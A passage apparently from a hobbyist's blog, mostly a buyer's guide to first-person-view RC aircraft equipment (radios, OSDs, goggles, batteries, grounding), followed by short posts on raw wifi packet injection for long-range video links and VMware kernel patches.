Some do use their 2.4Ghz systems, which have shorter range and are “line of sight” (meaning, it doesnt go through walls and so on). They usually have 1 km range with good Spektrum or Futaba receivers. (Full range ones)

Finally, some use so-called “LRS” or Long Range Systems. There are basically 3 “cheap” systems currently available that I would look at:

- using a 400+Mhz radio (CB) converted for PPM (RC control signal) use. Cost approx 50 USD, need a lot of soldering skills. Search for “fmkit” on http://www.rcgroups.com for info. Require a transmitter or Wii Nunchuck.

- Thomas Scherrer LRS, cost approx 300 USD. Uses frequency hopping, very hard to jam (unlike the above 50 USD solution), pretty well tested design. Require a transmitter with trainer port.

- Dragon Link UHF. Cost approx 350 USD. Similar to above system. Less tested. Claims better performance, better jaming resistance, and uses less bandwidth. Less channels on the receiver. (9 vs 12). Require a transmitter with trainer port.

Recommendation:  a 35/41/72Mhz system with a good receiver (eg Corona Synthesised receiver), upgrade to a LRS later if you wish (it will use your 35/41/72 transmitter anyway!)

OSD, Chips, Sensors and friends

There is a huge variety of them. Some provide auto-pilot. Some provide “return-to-home” which basically bring your plane back when you lose radio control. Some let you plot your way on Google Earth on your laptop, real time.

These usually need soldering and technical skills. They are not necessary, but recommended.

I’ll only detail the ones which I found interest into:

- Remzibi “poor man” OSD: very feature complete, light. parts of it are open sourced. Includes GPS.

- SimpleOSD XL: small, quite feature complete. Cheap.

Both are constantly updated. SimpleOSD can relay GPS data to the ground for Google earth plotting and antenna tracking (i’ll detail this elsewhere). They have fairly customizable on screen display.

They do not provide auto-pilot or return to home, but can with a lot of work and an additional module, Ardupilot, and infra-red sensors, which I won’t detail as I have no experience with.

- EagleTree, ezOSD: support nearly every feature you can think of, including return-to-home, F-16 like display, Google earth plotting, antenna tracking, etc. Not quite as cheap, light and elegant as the above, but certainly good as well.

Recommendation: SimpleOSD if you can solder, ezOSD otherwise.

Gyroscope

Video needs to be stable. A stable plane helps, but a gyro on the ailerons helps even more.

Here’s one. Only put it on the ailerons or your plane will act weird. This stabilize the plane when you give no input.

Recommendation: Well, the one listed :p

Video goggles

You’ll be either using a small screen to display what the camera sees either video goggles. In both cases just make sure you can isolate from the sun light easily.

For the screen, anything goes as long as you can plug the video in (TV screens usually).

For goggles, good choices are FatSharks (includes 2.4Ghz video receivers and transmitter usually), Rvision/R520/other name (goggles only, cheaper than FatSharks), or HeadPlay Visors.

The headplay’s have a higher resolution and thus the image is  a lot better. However they’re fragile and expensive.

Recommendation: FatSharks or HeadPlay if you’re rich and careful. But really, FatSharks in most cases.

Head Tracker

Some use a head tracker to move the camera on the plane (pan and tilt). This require additional servos, weight, equipment so many do not use it. It does not especially add a lot to the table and is optional.

A good one is the Flytron DT-3K. I do not use any head tracker. Once again, FatSharks have an option including pan&tilt camera and servos (attention: its a CMOS 420TVL camera. It’s good enough to fly and have fun, but not very good compared to other cameras listed!)

Power supply, voltages, current, linking it together

Well, this is an important one. Are you gonna use a separate battery? Which capacity? What is compatible with what?

These are the questions I will try to answer.

Voltage:

A simple way of doing things, is having the OSD/boards, camera, and video transmitters having the same voltage. This way, all 3 can use the same power supply. Usually its 5.5 volts or 12 volts. So make sure your equipment accept the same voltage.

Current:

Once you have selected the equipement, check their average current consumption (in mA) and add it up. A typical system might consume between 250 mA and 1A (sometimes more).

Battery capacity and voltage:

If your system is 5.5 volts, on a super light plane, you might consider a 1 cell Lipo battery. They deliver only 3.7 volts, so you will need a “booster” or regulator. A good idea is to use a LED driver that deliver a stable filtered current. You need soldering skills once again.  Another possibility is to use a regulator, like the Dimension Engineering micro regulator any-volt. Careful tho, any-volt provides 500mA max output current. LED drivers provide usually up to 1A and are cheap.

Another solution, is to do… exactly the same, with a 2 cells Lipo (7.4 volts). This time, the voltage will be reduced.

Finally, for 12 volts systems, you may use a 3 cells or 4 cells lipo battery (11.1 volts and 14.8 volts), sometimes even directly without regulator (for the 4 cells especially since when voltage is low it will still be above 12 volts). Just make sure this wont burn your equipement.

Otherwise, once again, you’ve to add your voltage regulator.

Let’s say your equipment uses 500mA. Battery capacity is measured in mAh (milli-amperes per hour), so a 500 mAh battery will last 1 hour in this case. a 250 mAh battery will last 30mins. And so on. Just make sure your battery lasts more than a complete flight, by at least 25%.

Grounding:

You might get nasty lines or stripes in the video output. This is often due to bad grounding. Usually, you must “star ground” your equipment, and at least the camera. Basically, each ground (-) goes to a single, unique soldering location directly (without going through any other wire).

In other cases, you might have to shield your equipment a bit, by twisting wires or adding ferrites (small metal rings, you twist the wires around them to eliminate noise)

Linking and location of the various elements:

Use shielded, but thin wires. Replace plugs by servo plugs, or dean plugs. This will make your equipment lighter and easier to deal with. (All this require soldering skills).

Put the RC receiver far from the video transmitter. Put the OSD and GPS, far from the video transmitter as well. Put the electric motor’s electronic speed control (ESC) far from everything

Make sure your antennas extend properly. Range check on the ground. Change the placement if its not good enough. Repeat as many times as necessary, if you don’t want to crash your plane at first flight

Using a single battery:

It’s tempting to use the same battery for the motor RC control, and the video.

If thats the case, use a large enough battery to supply the motor in addition to the other elements. Make sure you have an OSD informing you of the voltage, so that you dont lose motor, RC control and video at the same time. Having a low voltage cut-off (LVC) on the speed controller (ESC) helps, as you will keep the video and control. Make sure its set to a high enough voltage! Once again, test on the ground first.

When you apply power on the motor, it will draw a lot of current, and your video will have stripes or display un-properly. To avoid this, buy a RL filter, or a LED driver that you put between your FPV equipment and the battery (or at least, behind the camera)

Conclusion

I hope these infos can help someone to get started. I’ll post in more details, my “micro FPV” system and “regular HD FPV” system in future posts, if all goes well

Ideally, one could make a computer controlled with “via Internet” user control aicraft. A similar system exists and has been presented recently, the AR.Drone. Basically, this thing flies itself using infra-red sensors, and a user can tell it to go left or right or up or down. But this is no direct control, it’s really just being flown by the on board computer

A mix of computer controlled and user controlled aircraft would ensure stability and security (of both the model and the people or environment around it). This is partially implemented in the OSD including  “fly-by-wire” and “return-to-home” functionality.

Other links:

http://www.dpcav.com/ (Video RX/TX)

http://www.futurehobbies.com/ (Not really recommended due to poor communication an delays, but only place to get Headplays outside Europe)

http://www.nghobbies.com/ (various)

http://www.rangevideo.com/ (various)

http://www.flytron.com/ (various electronics)

http://alai.h3m.com/~s0350672/catalogo/ (various, located in Europe)

http://www.fpv-community.com/ (forum)

http://www.rcgroups.com/ (forum)

there’s probably many others.

Of course, using wifi does not mean using the wifi protocol. The idea here, is to setup the chipsets into raw mode and push our own protocol over.

Not only this allow one to have a much higher throughput (nearly the full link’s speed, so 50Mbits at 54Mbit sync is achievable), but also a much higher point-to-point reliability for video and audio protocols.

ACK (acknowledgement) packets are not necessary, and the whole stack of protocols overhead is anyway gone, including IP.

The idea

You can easily do this using wifi driver’s injection support in Linux. A very well known chipset for this is the 8187L from Realtek, it even support diversity.
That’s very fine on the transmitter side, but unfortunately does not live up to either hype or specs on the receiver side. Instead, after extensive testing I have found the Ralink 2870 to be nearly matching it’s sensitivity specs, which gives twice the range the Realtek could provide.

With simple 5dbi antennas, at 100mW I’m easily getting a signal behind a few 10 stories buildings and a few hundred meters. The equivalent regular wifi signal is long gone at this range.

Using a small yagi antenna on the receiving side and no objects in the way, I’m getting the excellent range of 20 km in the air while retaining enough bandwidth for a HD video signal.

Software

On the software side, regular data can be transmitted, however it’s a lot better for audio of video where frames can be transmitted with errors and often display fine or have noticeable artifacts.
Fortunately, most wifi drivers actualy let you turn off CRC checks do not discard incorrect frames.
Usage of x264 in ultra low latency mode is recommended.

Unfortunately, the chipsets usually accept packets that look like wifi packets, so we retain overhead of a few bytes to make packets appear as NULL DATA wifi packets. All the information fields (MAC address, etc) are overwritten by our own protocol data.

Libraries to achieve this are osdep from the excellent Aircrack-ng project, the other Lorcon from a Kismet programmer.

I have been using osdep as it was a lot more simple to hack through, although Lorcon seems more polished and solves a few issues that I had to work around manually in osdep.

Source code

Soon enough

Just a small fix to the previous patch was necessary for this one to work.

Remember that you do need to patch your kernel for this to work properly.

See the README inside the archive.

vmware-update-2.6.32-5.5.9.tar.bz2

Edit: there is a more complete patch here for vmware server 2.0.2, i haven’t tested it.

Another kernel and another patch, this one fixes issues with vmnet and net_device_ops compat mode being removed. Have fun.

vmware-update-2.6.31-5.5.9.tar.bz2